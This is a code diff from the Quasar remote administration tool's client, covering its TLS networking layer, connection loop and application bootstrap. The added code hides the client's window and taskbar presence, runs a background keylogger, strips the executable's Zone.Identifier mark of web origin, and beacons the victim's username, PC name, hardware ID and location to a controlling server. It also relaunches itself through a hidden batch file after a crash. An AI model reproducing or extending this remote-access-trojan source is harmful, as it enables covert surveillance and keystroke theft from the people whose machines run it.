private readonly Queue _readBuffers = new Queue();
///
- /// Determines if the client is currently reading packets.
- ///
- private bool _readingPackets;
-
- ///
- /// Lock object for the reading packets boolean.
+ /// Determines if the client is currently reading messages.
///
- private readonly object _readingPacketsLock = new object();
+ private bool _readingMessages;
///
- /// The temporary header to store parts of the header.
+ /// Lock object for the reading messages boolean.
///
- ///
- /// This temporary header is used when we have i.e.
- /// only 2 bytes left to read from the buffer but need more
- /// which can only be read in the next Receive callback
- ///
- private byte[] _tempHeader;
-
- ///
- /// Decides if we need to append bytes to the header.
- ///
- private bool _appendHeader;
+ private readonly object _readingMessagesLock = new object();
// Receive info
private int _readOffset;
private int _writeOffset;
- private int _tempHeaderOffset;
private int _readableDataLen;
private int _payloadLen;
private ReceiveType _receiveState = ReceiveType.Header;
///
- /// Gets if the client is currently connected to a server.
+ /// The mutex prevents multiple simultaneous write operations on the .
///
- public bool Connected { get; private set; }
+ private readonly Mutex _singleWriteMutex = new Mutex();
///
- /// The packet serializer.
+ /// Constructor of the client, initializes serializer types.
///
- protected Serializer Serializer { get; set; }
-
- private const bool encryptionEnabled = true;
- private const bool compressionEnabled = true;
-
- protected Client()
+ /// The server certificate.
+ protected Client(X509Certificate2 serverCertificate)
{
- _proxyClients = new List();
+ _serverCertificate = serverCertificate;
_readBuffer = new byte[BUFFER_SIZE];
- _tempHeader = new byte[HEADER_SIZE];
+ TypeRegistry.AddTypesToSerializer(typeof(IMessage), TypeRegistry.GetPacketTypes(typeof(IMessage)).ToArray());
}
///
- /// Attempts to connect to the specified host on the specified port.
+ /// Attempts to connect to the specified ip address on the specified port.
///
- /// The host (or server) to connect to.
+ /// The ip address to connect to.
/// The port of the host.
- protected void Connect(string host, ushort port)
+ protected void Connect(IPAddress ip, ushort port)
{
+ Socket handle = null;
try
{
Disconnect();
- _handle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
- _handle.SetKeepAliveEx(KEEP_ALIVE_INTERVAL, KEEP_ALIVE_TIME);
- _handle.Connect(host, port);
+ handle = new Socket(ip.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
+ handle.SetKeepAliveEx(KEEP_ALIVE_INTERVAL, KEEP_ALIVE_TIME);
+ handle.Connect(ip, port);
- if (_handle.Connected)
+ if (handle.Connected)
{
- _handle.BeginReceive(_readBuffer, 0, _readBuffer.Length, SocketFlags.None, AsyncReceive, null);
+ _stream = new SslStream(new NetworkStream(handle, true), false, ValidateServerCertificate);
+ _stream.AuthenticateAsClient(ip.ToString(), null, SslProtocols.Tls12, false);
+ _stream.BeginRead(_readBuffer, 0, _readBuffer.Length, AsyncReceive, null);
OnClientState(true);
}
+ else
+ {
+ handle.Dispose();
+ }
}
catch (Exception ex)
{
+ handle?.Dispose();
OnClientFail(ex);
}
}
+ ///
+ /// Validates the server certificate by comparing it with the included server certificate.
+ ///
+ /// The sender of the callback.
+ /// The server certificate to validate.
+ /// The X.509 chain.
+ /// The SSL policy errors.
+ /// Returns true when the validation was successful, otherwise false.
+ private bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
+ {
+#if DEBUG
+ // for debugging don't validate server certificate
+ return true;
+#else
+ var serverCsp = (RSACryptoServiceProvider)_serverCertificate.PublicKey.Key;
+ var connectedCsp = (RSACryptoServiceProvider)new X509Certificate2(certificate).PublicKey.Key;
+ // compare the received server certificate with the included server certificate to validate we are connected to the correct server
+ return _serverCertificate.Equals(certificate);
+#endif
+ }
+
private void AsyncReceive(IAsyncResult result)
{
int bytesTransferred;
try
{
- bytesTransferred = _handle.EndReceive(result);
+ bytesTransferred = _stream.EndRead(result);
if (bytesTransferred <= 0)
throw new Exception("no bytes transferred");
@@ -339,18 +353,18 @@ private void AsyncReceive(IAsyncResult result)
_readBuffers.Enqueue(received);
}
- lock (_readingPacketsLock)
+ lock (_readingMessagesLock)
{
- if (!_readingPackets)
+ if (!_readingMessages)
{
- _readingPackets = true;
+ _readingMessages = true;
ThreadPool.QueueUserWorkItem(AsyncReceive);
}
}
try
{
- _handle.BeginReceive(_readBuffer, 0, _readBuffer.Length, SocketFlags.None, AsyncReceive, null);
+ _stream.BeginRead(_readBuffer, 0, _readBuffer.Length, AsyncReceive, null);
}
catch (ObjectDisposedException)
{
@@ -370,9 +384,9 @@ private void AsyncReceive(object state)
{
if (_readBuffers.Count == 0)
{
- lock (_readingPacketsLock)
+ lock (_readingMessagesLock)
{
- _readingPackets = false;
+ _readingMessages = false;
}
return;
}
@@ -388,38 +402,26 @@ private void AsyncReceive(object state)
{
case ReceiveType.Header:
{
- if (_readableDataLen >= HEADER_SIZE)
- { // we can read the header
- int headerLength = (_appendHeader)
- ? HEADER_SIZE - _tempHeaderOffset
- : HEADER_SIZE;
+ if (_payloadBuffer == null)
+ _payloadBuffer = new byte[HEADER_SIZE];
+
+ if (_readableDataLen + _writeOffset >= HEADER_SIZE)
+ {
+ // completely received header
+ int headerLength = HEADER_SIZE - _writeOffset;
try
{
- if (_appendHeader)
- {
- try
- {
- Array.Copy(readBuffer, _readOffset, _tempHeader, _tempHeaderOffset,
- headerLength);
- }
- catch (Exception ex)
- {
- process = false;
- OnClientFail(ex);
- break;
- }
- _payloadLen = BitConverter.ToInt32(_tempHeader, 0);
- _tempHeaderOffset = 0;
- _appendHeader = false;
- }
- else
- {
- _payloadLen = BitConverter.ToInt32(readBuffer, _readOffset);
- }
+ Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, headerLength);
+
+ _payloadLen = BitConverter.ToInt32(_payloadBuffer, _readOffset);
- if (_payloadLen <= 0 || _payloadLen > MAX_PACKET_SIZE)
+ if (_payloadLen <= 0 || _payloadLen > MAX_MESSAGE_SIZE)
throw new Exception("invalid header");
+
+ // try to re-use old payload buffers which fit
+ if (_payloadBuffer.Length <= _payloadLen + HEADER_SIZE)
+ Array.Resize(ref _payloadBuffer, _payloadLen + HEADER_SIZE);
}
catch (Exception)
{
@@ -429,44 +431,44 @@ private void AsyncReceive(object state)
}
_readableDataLen -= headerLength;
+ _writeOffset += headerLength;
_readOffset += headerLength;
_receiveState = ReceiveType.Payload;
}
- else // _parentServer.HEADER_SIZE < _readableDataLen
+ else // _readableDataLen + _writeOffset < HeaderSize
{
+ // received only a part of the header
try
{
- Array.Copy(readBuffer, _readOffset, _tempHeader, _tempHeaderOffset, _readableDataLen);
+ Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, _readableDataLen);
}
- catch (Exception ex)
+ catch (Exception)
{
process = false;
- OnClientFail(ex);
+ Disconnect();
break;
}
- _tempHeaderOffset += _readableDataLen;
- _appendHeader = true;
+ _readOffset += _readableDataLen;
+ _writeOffset += _readableDataLen;
process = false;
+ // nothing left to process
}
break;
}
case ReceiveType.Payload:
{
- if (_payloadBuffer == null || _payloadBuffer.Length != _payloadLen)
- _payloadBuffer = new byte[_payloadLen];
-
- int length = (_writeOffset + _readableDataLen >= _payloadLen)
- ? _payloadLen - _writeOffset
+ int length = (_writeOffset - HEADER_SIZE + _readableDataLen) >= _payloadLen
+ ? _payloadLen - (_writeOffset - HEADER_SIZE)
: _readableDataLen;
try
{
Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, length);
}
- catch (Exception ex)
+ catch (Exception)
{
process = false;
- OnClientFail(ex);
+ Disconnect();
break;
}
@@ -474,62 +476,26 @@ private void AsyncReceive(object state)
_readOffset += length;
_readableDataLen -= length;
- if (_writeOffset == _payloadLen)
+ if (_writeOffset - HEADER_SIZE == _payloadLen)
{
- bool isError = _payloadBuffer.Length == 0;
-
- if (!isError)
- {
- if (encryptionEnabled)
- _payloadBuffer = AES.Decrypt(_payloadBuffer);
-
- isError = _payloadBuffer.Length == 0; // check if payload decryption failed
- }
-
- if (!isError)
+ // completely received payload
+ try
{
- if (compressionEnabled)
+ using (PayloadReader pr = new PayloadReader(_payloadBuffer, _payloadLen + HEADER_SIZE, false))
{
- try
- {
- _payloadBuffer = SafeQuickLZ.Decompress(_payloadBuffer);
- }
- catch (Exception)
- {
- process = false;
- Disconnect();
- break;
- }
- }
+ IMessage message = pr.ReadMessage();
- isError = _payloadBuffer.Length == 0; // check if payload decompression failed
+ OnClientRead(message, _payloadBuffer.Length);
+ }
}
-
- if (isError)
+ catch (Exception)
{
process = false;
Disconnect();
break;
}
- using (MemoryStream deserialized = new MemoryStream(_payloadBuffer))
- {
- try
- {
- IPacket packet = (IPacket)Serializer.Deserialize(deserialized);
-
- OnClientRead(packet);
- }
- catch (Exception ex)
- {
- process = false;
- OnClientFail(ex);
- break;
- }
- }
-
_receiveState = ReceiveType.Header;
- _payloadBuffer = null;
_payloadLen = 0;
_writeOffset = 0;
}
@@ -542,71 +508,74 @@ private void AsyncReceive(object state)
}
}
- if (_receiveState == ReceiveType.Header)
- {
- _writeOffset = 0; // prepare for next packet
- }
_readOffset = 0;
_readableDataLen = 0;
}
}
///
- /// Sends a packet to the connected server.
+ /// Sends a message to the connected server.
///
- /// The type of the packet.
- /// The packet to be send.
- public void Send(T packet) where T : IPacket
+ /// The type of the message.
+ /// The message to be sent.
+ public void Send(T message) where T : IMessage
{
- if (!Connected || packet == null) return;
+ if (!Connected || message == null) return;
lock (_sendBuffers)
{
- using (MemoryStream ms = new MemoryStream())
- {
- try
- {
- Serializer.Serialize(ms, packet);
- }
- catch (Exception ex)
- {
- OnClientFail(ex);
- return;
- }
-
- byte[] payload = ms.ToArray();
-
- _sendBuffers.Enqueue(payload);
+ _sendBuffers.Enqueue(message);
- OnClientWrite(packet, payload.LongLength, payload);
-
- lock (_sendingPacketsLock)
- {
- if (_sendingPackets) return;
+ lock (_sendingMessagesLock)
+ {
+ if (_sendingMessages) return;
- _sendingPackets = true;
- }
- ThreadPool.QueueUserWorkItem(Send);
+ _sendingMessages = true;
+ ThreadPool.QueueUserWorkItem(ProcessSendBuffers);
}
}
}
///
- /// Sends a packet to the connected server.
- /// Blocks the thread until all packets have been sent.
+ /// Sends a message to the connected server.
+ /// Blocks the thread until the message has been sent.
+ ///
+ /// The type of the message.
+ /// The message to be sent.
+ public void SendBlocking(T message) where T : IMessage
+ {
+ if (!Connected || message == null) return;
+
+ SafeSendMessage(message);
+ }
+
+ ///
+ /// Safely sends a message and prevents multiple simultaneous
+ /// write operations on the .
///
- /// The type of the packet.
- /// The packet to be send.
- public void SendBlocking(T packet) where T : IPacket
+ /// The message to send.
+ private void SafeSendMessage(IMessage message)
{
- Send(packet);
- while (_sendingPackets)
+ try
+ {
+ _singleWriteMutex.WaitOne();
+ using (PayloadWriter pw = new PayloadWriter(_stream, true))
+ {
+ OnClientWrite(message, pw.WriteMessage(message));
+ }
+ }
+ catch (Exception)
{
- Thread.Sleep(10);
+ Disconnect();
+ SendCleanup(true);
+ }
+ finally
+ {
+ _singleWriteMutex.ReleaseMutex();
}
}
- private void Send(object state)
+ private void ProcessSendBuffers(object state)
{
while (true)
{
@@ -616,7 +585,7 @@ private void Send(object state)
return;
}
- byte[] payload;
+ IMessage message;
lock (_sendBuffers)
{
if (_sendBuffers.Count == 0)
@@ -625,42 +594,18 @@ private void Send(object state)
return;
}
- payload = _sendBuffers.Dequeue();
+ message = _sendBuffers.Dequeue();
}
- try
- {
- _handle.Send(BuildPacket(payload));
- }
-
- catch (Exception ex)
- {
- OnClientFail(ex);
- SendCleanup(true);
- return;
- }
+ SafeSendMessage(message);
}
}
- private byte[] BuildPacket(byte[] payload)
- {
- if (compressionEnabled)
- payload = SafeQuickLZ.Compress(payload);
-
- if (encryptionEnabled)
- payload = AES.Encrypt(payload);
-
- byte[] packet = new byte[payload.Length + HEADER_SIZE];
- Array.Copy(BitConverter.GetBytes(payload.Length), packet, HEADER_SIZE);
- Array.Copy(payload, 0, packet, HEADER_SIZE, payload.Length);
- return packet;
- }
-
private void SendCleanup(bool clear = false)
{
- lock (_sendingPacketsLock)
+ lock (_sendingMessagesLock)
{
- _sendingPackets = false;
+ _sendingMessages = false;
}
if (!clear) return;
@@ -678,17 +623,16 @@ private void SendCleanup(bool clear = false)
///
public void Disconnect()
{
- if (_handle != null)
+ if (_stream != null)
{
- _handle.Close();
- _handle = null;
+ _stream.Close();
_readOffset = 0;
_writeOffset = 0;
- _tempHeaderOffset = 0;
_readableDataLen = 0;
_payloadLen = 0;
_payloadBuffer = null;
_receiveState = ReceiveType.Header;
+ //_singleWriteMutex.Dispose(); TODO: fix socket re-use by creating new client on disconnect
if (_proxyClients != null)
{
@@ -704,12 +648,6 @@ public void Disconnect()
}
}
}
-
- if (Commands.CommandHandler.StreamCodec != null)
- {
- Commands.CommandHandler.StreamCodec.Dispose();
- Commands.CommandHandler.StreamCodec = null;
- }
}
OnClientState(false);
@@ -750,4 +688,4 @@ public void RemoveProxyClient(int connectionId)
catch { }
}
}
-}
\ No newline at end of file
+}
diff --git a/Quasar.Client/Networking/QuasarClient.cs b/Quasar.Client/Networking/QuasarClient.cs
new file mode 100644
index 000000000..552df2b0b
--- /dev/null
+++ b/Quasar.Client/Networking/QuasarClient.cs
@@ -0,0 +1,176 @@
+using Quasar.Client.Config;
+using Quasar.Client.Helper;
+using Quasar.Client.IO;
+using Quasar.Client.IpGeoLocation;
+using Quasar.Client.User;
+using Quasar.Common.DNS;
+using Quasar.Common.Helpers;
+using Quasar.Common.Messages;
+using Quasar.Common.Utilities;
+using System;
+using System.Diagnostics;
+using System.Security.Cryptography.X509Certificates;
+using System.Threading;
+
+namespace Quasar.Client.Networking
+{
+ public class QuasarClient : Client, IDisposable
+ {
+ ///
+ /// Used to keep track if the client has been identified by the server.
+ ///
+ private bool _identified;
+
+ ///
+ /// The hosts manager which contains the available hosts to connect to.
+ ///
+ private readonly HostsManager _hosts;
+
+ ///
+ /// Random number generator to slightly randomize the reconnection delay.
+ ///
+ private readonly SafeRandom _random;
+
+ ///
+ /// Create a and signals cancellation.
+ ///
+ private readonly CancellationTokenSource _tokenSource;
+
+ ///
+ /// The token to check for cancellation.
+ ///
+ private readonly CancellationToken _token;
+
+ ///
+ /// Initializes a new instance of the class.
+ ///
+ /// The hosts manager which contains the available hosts to connect to.
+ /// The server certificate.
+ public QuasarClient(HostsManager hostsManager, X509Certificate2 serverCertificate)
+ : base(serverCertificate)
+ {
+ this._hosts = hostsManager;
+ this._random = new SafeRandom();
+ base.ClientState += OnClientState;
+ base.ClientRead += OnClientRead;
+ base.ClientFail += OnClientFail;
+ this._tokenSource = new CancellationTokenSource();
+ this._token = _tokenSource.Token;
+ }
+
+ ///
+ /// Connection loop used to reconnect and keep the connection open.
+ ///
+ public void ConnectLoop()
+ {
+ // TODO: do not re-use object
+ while (!_token.IsCancellationRequested)
+ {
+ if (!Connected)
+ {
+ Host host = _hosts.GetNextHost();
+
+ base.Connect(host.IpAddress, host.Port);
+ }
+
+ while (Connected) // hold client open
+ {
+ try
+ {
+ _token.WaitHandle.WaitOne(1000);
+ }
+ catch (Exception e) when (e is NullReferenceException || e is ObjectDisposedException)
+ {
+ Disconnect();
+ return;
+ }
+ }
+
+ if (_token.IsCancellationRequested)
+ {
+ Disconnect();
+ return;
+ }
+
+ Thread.Sleep(Settings.RECONNECTDELAY + _random.Next(250, 750));
+ }
+ }
+
+ private void OnClientRead(Client client, IMessage message, int messageLength)
+ {
+ if (!_identified)
+ {
+ if (message.GetType() == typeof(ClientIdentificationResult))
+ {
+ var reply = (ClientIdentificationResult) message;
+ _identified = reply.Result;
+ }
+ return;
+ }
+
+ MessageHandler.Process(client, message);
+ }
+
+ private void OnClientFail(Client client, Exception ex)
+ {
+ Debug.WriteLine("Client Fail - Exception Message: " + ex.Message);
+ client.Disconnect();
+ }
+
+ private void OnClientState(Client client, bool connected)
+ {
+ _identified = false; // always reset identification
+
+ if (connected)
+ {
+ // send client identification once connected
+
+ var geoInfo = GeoInformationFactory.GetGeoInformation();
+ var userAccount = new UserAccount();
+
+ client.Send(new ClientIdentification
+ {
+ Version = Settings.VERSION,
+ OperatingSystem = PlatformHelper.FullName,
+ AccountType = userAccount.Type.ToString(),
+ Country = geoInfo.Country,
+ CountryCode = geoInfo.CountryCode,
+ ImageIndex = geoInfo.ImageIndex,
+ Id = HardwareDevices.HardwareId,
+ Username = userAccount.UserName,
+ PcName = SystemHelper.GetPcName(),
+ Tag = Settings.TAG,
+ EncryptionKey = Settings.ENCRYPTIONKEY,
+ Signature = Convert.FromBase64String(Settings.SERVERSIGNATURE)
+ });
+ }
+ }
+
+ ///
+ /// Stops the connection loop and disconnects the connection.
+ ///
+ public void Exit()
+ {
+ _tokenSource.Cancel();
+ Disconnect();
+ }
+
+ ///
+ /// Disposes all managed and unmanaged resources associated with this activity detection service.
+ ///
+ public void Dispose()
+ {
+ Dispose(true);
+ GC.SuppressFinalize(this);
+ }
+
+ protected virtual void Dispose(bool disposing)
+ {
+ if (disposing)
+ {
+ _tokenSource.Cancel();
+ _tokenSource.Dispose();
+ }
+ }
+ }
+}
diff --git a/Quasar.Client/Program.cs b/Quasar.Client/Program.cs
new file mode 100644
index 000000000..6ddad6e5a
--- /dev/null
+++ b/Quasar.Client/Program.cs
@@ -0,0 +1,90 @@
+using Quasar.Client.IO;
+using System;
+using System.Diagnostics;
+using System.Net;
+using System.Threading;
+using System.Windows.Forms;
+
+namespace Quasar.Client
+{
+ internal static class Program
+ {
+ [STAThread]
+ private static void Main(string[] args)
+ {
+ // enable TLS 1.2
+ ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
+
+ // Set the unhandled exception mode to force all Windows Forms errors to go through our handler
+ Application.SetUnhandledExceptionMode(UnhandledExceptionMode.CatchException);
+
+ // Add the event handler for handling UI thread exceptions
+ Application.ThreadException += HandleThreadException;
+
+ // Add the event handler for handling non-UI thread exceptions
+ AppDomain.CurrentDomain.UnhandledException += HandleUnhandledException;
+
+ Application.EnableVisualStyles();
+ Application.SetCompatibleTextRenderingDefault(false);
+ Application.Run(new QuasarApplication());
+ }
+
+ private static void HandleThreadException(object sender, ThreadExceptionEventArgs e)
+ {
+ Debug.WriteLine(e);
+ try
+ {
+ string batchFile = BatchFile.CreateRestartBatch(Application.ExecutablePath);
+
+ ProcessStartInfo startInfo = new ProcessStartInfo
+ {
+ WindowStyle = ProcessWindowStyle.Hidden,
+ UseShellExecute = true,
+ FileName = batchFile
+ };
+ Process.Start(startInfo);
+ }
+ catch (Exception exception)
+ {
+ Debug.WriteLine(exception);
+ }
+ finally
+ {
+ Environment.Exit(0);
+ }
+ }
+
+ ///
+ /// Handles unhandled exceptions by restarting the application and hoping that they don't happen again.
+ ///
+ /// The source of the unhandled exception event.
+ /// The exception event arguments.
+ private static void HandleUnhandledException(object sender, UnhandledExceptionEventArgs e)
+ {
+ if (e.IsTerminating)
+ {
+ Debug.WriteLine(e);
+ try
+ {
+ string batchFile = BatchFile.CreateRestartBatch(Application.ExecutablePath);
+
+ ProcessStartInfo startInfo = new ProcessStartInfo
+ {
+ WindowStyle = ProcessWindowStyle.Hidden,
+ UseShellExecute = true,
+ FileName = batchFile
+ };
+ Process.Start(startInfo);
+ }
+ catch (Exception exception)
+ {
+ Debug.WriteLine(exception);
+ }
+ finally
+ {
+ Environment.Exit(0);
+ }
+ }
+ }
+ }
+}
diff --git a/Client/Properties/AssemblyInfo.cs b/Quasar.Client/Properties/AssemblyInfo.cs
similarity index 84%
rename from Client/Properties/AssemblyInfo.cs
rename to Quasar.Client/Properties/AssemblyInfo.cs
index 0803ed618..68d5e1d83 100644
--- a/Client/Properties/AssemblyInfo.cs
+++ b/Quasar.Client/Properties/AssemblyInfo.cs
@@ -5,12 +5,12 @@
// Allgemeine Informationen über eine Assembly werden über die folgenden
// Attribute gesteuert. Ändern Sie diese Attributwerte, um die Informationen zu ändern,
// die mit einer Assembly verknüpft sind.
-[assembly: AssemblyTitle("")]
+[assembly: AssemblyTitle("Quasar Client")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
-[assembly: AssemblyProduct("")]
-[assembly: AssemblyCopyright("")]
+[assembly: AssemblyProduct("Quasar")]
+[assembly: AssemblyCopyright("Copyright © MaxXor 2023")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
[assembly: InternalsVisibleTo("Client.Tests")]
@@ -30,5 +30,5 @@
// Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern
// übernehmen, indem Sie "*" eingeben:
// [assembly: AssemblyVersion("1.0.*")]
-[assembly: AssemblyVersion("1.2.0.0")]
-[assembly: AssemblyFileVersion("1.2.0.0")]
+[assembly: AssemblyVersion("1.4.1")]
+[assembly: AssemblyFileVersion("1.4.1")]
diff --git a/Client/Properties/Resources.Designer.cs b/Quasar.Client/Properties/Resources.Designer.cs
similarity index 53%
rename from Client/Properties/Resources.Designer.cs
rename to Quasar.Client/Properties/Resources.Designer.cs
index 71d9533c6..8a20f78ba 100644
--- a/Client/Properties/Resources.Designer.cs
+++ b/Quasar.Client/Properties/Resources.Designer.cs
@@ -1,25 +1,25 @@
//------------------------------------------------------------------------------
//
-// Dieser Code wurde von einem Tool generiert.
-// Laufzeitversion:4.0.30319.42000
+// This code was generated by a tool.
+// Runtime Version:4.0.30319.42000
//
-// Änderungen an dieser Datei können falsches Verhalten verursachen und gehen verloren, wenn
-// der Code erneut generiert wird.
+// Changes to this file may cause incorrect behavior and will be lost if
+// the code is regenerated.
//
//------------------------------------------------------------------------------
-namespace xClient.Properties {
+namespace Quasar.Client.Properties {
using System;
///
- /// Eine stark typisierte Ressourcenklasse zum Suchen von lokalisierten Zeichenfolgen usw.
+ /// A strongly-typed resource class, for looking up localized strings, etc.
///
- // Diese Klasse wurde von der StronglyTypedResourceBuilder automatisch generiert
- // -Klasse über ein Tool wie ResGen oder Visual Studio automatisch generiert.
- // Um einen Member hinzuzufügen oder zu entfernen, bearbeiten Sie die .ResX-Datei und führen dann ResGen
- // mit der /str-Option erneut aus, oder Sie erstellen Ihr VS-Projekt neu.
- [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
+ // This class was auto-generated by the StronglyTypedResourceBuilder
+ // class via a tool like ResGen or Visual Studio.
+ // To add or remove a member, edit your .ResX file then rerun ResGen
+ // with the /str option, or rebuild your VS project.
+ [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "15.0.0.0")]
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
internal class Resources {
@@ -33,13 +33,13 @@ internal Resources() {
}
///
- /// Gibt die zwischengespeicherte ResourceManager-Instanz zurück, die von dieser Klasse verwendet wird.
+ /// Returns the cached ResourceManager instance used by this class.
///
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Resources.ResourceManager ResourceManager {
get {
if (object.ReferenceEquals(resourceMan, null)) {
- global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("xClient.Properties.Resources", typeof(Resources).Assembly);
+ global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Quasar.Client.Properties.Resources", typeof(Resources).Assembly);
resourceMan = temp;
}
return resourceMan;
@@ -47,8 +47,8 @@ internal Resources() {
}
///
- /// Überschreibt die CurrentUICulture-Eigenschaft des aktuellen Threads für alle
- /// Ressourcenzuordnungen, die diese stark typisierte Ressourcenklasse verwenden.
+ /// Overrides the current thread's CurrentUICulture property for all
+ /// resource lookups using this strongly typed resource class.
///
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Globalization.CultureInfo Culture {
@@ -59,15 +59,5 @@ internal Resources() {
resourceCulture = value;
}
}
-
- ///
- /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap.
- ///
- internal static System.Drawing.Bitmap information {
- get {
- object obj = ResourceManager.GetObject("information", resourceCulture);
- return ((System.Drawing.Bitmap)(obj));
- }
- }
}
}
diff --git a/Server/Forms/FrmRegValueEditBinary.resx b/Quasar.Client/Properties/Resources.resx
similarity index 100%
rename from Server/Forms/FrmRegValueEditBinary.resx
rename to Quasar.Client/Properties/Resources.resx
diff --git a/Server/Properties/Settings.Designer.cs b/Quasar.Client/Properties/Settings.Designer.cs
similarity index 74%
rename from Server/Properties/Settings.Designer.cs
rename to Quasar.Client/Properties/Settings.Designer.cs
index c1f33897b..b4ca5f2aa 100644
--- a/Server/Properties/Settings.Designer.cs
+++ b/Quasar.Client/Properties/Settings.Designer.cs
@@ -1,18 +1,18 @@
//------------------------------------------------------------------------------
//
-// Dieser Code wurde von einem Tool generiert.
-// Laufzeitversion:4.0.30319.42000
+// This code was generated by a tool.
+// Runtime Version:4.0.30319.42000
//
-// Änderungen an dieser Datei können falsches Verhalten verursachen und gehen verloren, wenn
-// der Code erneut generiert wird.
+// Changes to this file may cause incorrect behavior and will be lost if
+// the code is regenerated.
//
//------------------------------------------------------------------------------
-namespace xServer.Properties {
+namespace Quasar.Client.Properties {
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
- [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "12.0.0.0")]
+ [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "15.8.0.0")]
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
diff --git a/Client/Properties/Settings.settings b/Quasar.Client/Properties/Settings.settings
similarity index 100%
rename from Client/Properties/Settings.settings
rename to Quasar.Client/Properties/Settings.settings
diff --git a/Quasar.Client/Quasar.Client.csproj b/Quasar.Client/Quasar.Client.csproj
new file mode 100644
index 000000000..86915906f
--- /dev/null
+++ b/Quasar.Client/Quasar.Client.csproj
@@ -0,0 +1,71 @@
+
+
+ net452
+ WinExe
+ Client
+ true
+ false
+ AnyCPU
+
+
+ ..\bin\Debug\
+ true
+ portable
+ true
+ AnyCPU
+
+
+ none
+ ..\bin\Release\
+ true
+ AnyCPU
+
+
+ Quasar.Client.Program
+
+
+ app.manifest
+
+
+
+
+
+
+
+
+
+ ResXFileCodeGenerator
+ Resources.Designer.cs
+ Designer
+
+
+ True
+ Resources.resx
+ True
+
+
+ SettingsSingleFileGenerator
+ Settings.Designer.cs
+
+
+ True
+ Settings.settings
+ True
+
+
+
+
+
+
+
+ 2.0.18.2
+
+
+ 5.6.0
+
+
+
+ 2.4.8
+
+
+
\ No newline at end of file
diff --git a/Quasar.Client/QuasarApplication.cs b/Quasar.Client/QuasarApplication.cs
new file mode 100644
index 000000000..b8507d1a8
--- /dev/null
+++ b/Quasar.Client/QuasarApplication.cs
@@ -0,0 +1,250 @@
+using Quasar.Client.Config;
+using Quasar.Client.Logging;
+using Quasar.Client.Messages;
+using Quasar.Client.Networking;
+using Quasar.Client.Setup;
+using Quasar.Client.User;
+using Quasar.Client.Utilities;
+using Quasar.Common.DNS;
+using Quasar.Common.Helpers;
+using Quasar.Common.Messages;
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Drawing;
+using System.Reflection;
+using System.Threading;
+using System.Windows.Forms;
+
+namespace Quasar.Client
+{
+ ///
+ /// The client application which handles basic bootstrapping of the message processors and background tasks.
+ ///
+ public class QuasarApplication : Form
+ {
+ ///
+ /// A system-wide mutex that ensures that only one instance runs at a time.
+ ///
+ public SingleInstanceMutex ApplicationMutex;
+
+ ///
+ /// The client used for the connection to the server.
+ ///
+ private QuasarClient _connectClient;
+
+ ///
+ /// List of to keep track of all used message processors.
+ ///
+ private readonly List _messageProcessors;
+
+ ///
+ /// The background keylogger service used to capture and store keystrokes.
+ ///
+ private KeyloggerService _keyloggerService;
+
+ ///
+ /// Keeps track of the user activity.
+ ///
+ private ActivityDetection _userActivityDetection;
+
+ ///
+ /// Determines whether an installation is required depending on the current and target paths.
+ ///
+ private bool IsInstallationRequired => Settings.INSTALL && Settings.INSTALLPATH != Application.ExecutablePath;
+
+ ///
+ /// Notification icon used to show notifications in the taskbar.
+ ///
+ private readonly NotifyIcon _notifyIcon;
+
+ ///
+ /// Initializes a new instance of the class.
+ ///
+ public QuasarApplication()
+ {
+ _messageProcessors = new List();
+ _notifyIcon = new NotifyIcon();
+ }
+
+ ///
+ /// Starts the application.
+ ///
+ /// An System.EventArgs that contains the event data.
+ protected override void OnLoad(EventArgs e)
+ {
+ Visible = false;
+ ShowInTaskbar = false;
+ Run();
+ base.OnLoad(e);
+ }
+
+ ///
+ /// Initializes the notification icon.
+ ///
+ private void InitializeNotifyicon()
+ {
+ _notifyIcon.Text = "Quasar Client\nNo connection";
+ _notifyIcon.Visible = true;
+ try
+ {
+ _notifyIcon.Icon = Icon.ExtractAssociatedIcon(Assembly.GetExecutingAssembly().Location);
+ }
+ catch (Exception ex)
+ {
+ Debug.WriteLine(ex);
+ _notifyIcon.Icon = SystemIcons.Application;
+ }
+ }
+
+ ///
+ /// Begins running the application.
+ ///
+ public void Run()
+ {
+ // decrypt and verify the settings
+ if (!Settings.Initialize())
+ Environment.Exit(1);
+
+ ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX);
+
+ // check if process with same mutex is already running on system
+ if (!ApplicationMutex.CreatedNew)
+ Environment.Exit(2);
+
+ FileHelper.DeleteZoneIdentifier(Application.ExecutablePath);
+
+ var installer = new ClientInstaller();
+
+ if (IsInstallationRequired)
+ {
+ // close mutex before installing the client
+ ApplicationMutex.Dispose();
+
+ try
+ {
+ installer.Install();
